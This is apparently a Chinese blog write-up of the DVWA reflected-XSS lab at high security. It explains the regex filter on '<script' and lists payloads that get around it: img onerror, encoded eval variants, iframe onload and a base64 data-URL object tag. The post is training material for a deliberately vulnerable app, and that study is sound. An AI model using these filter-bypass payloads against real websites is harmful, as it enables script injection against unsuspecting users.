DVWA - XSS Relected(high)

本文探讨了如何在DVWA的XSS反射(高)级别中,通过利用img标签的事件、iframe标签及DATA URL等方式,绕过源码对<script>的严格过滤。介绍了三种方法,并分析了high级别防护下的preg_replace正则过滤机制。
摘要由CSDN通过智能技术生成

最普通的payload

 <script>alert(1)</script>

在这里插入图片描述
大小写,双写都不可以,源码对任何形式的script做了过滤所以可以采用不使用 script 的方式。可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。

方法一
使用 img 标签和其编码转换后的 XSS payload

<img src=1 onerror=alert(/xss/)>

在这里插入图片描述
mg标签编码转换后的XSS payload

<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<img src=1 onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

方法二
使用 iframe 标签

<iframe onload=alert(/xss/)>

方法三
使用 DATA URL 进行 XSS

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

代码分析
在这里插入图片描述

可以看到,high级别的代码使用了正则表达式直接把 <script 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

preg_replace 函数
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值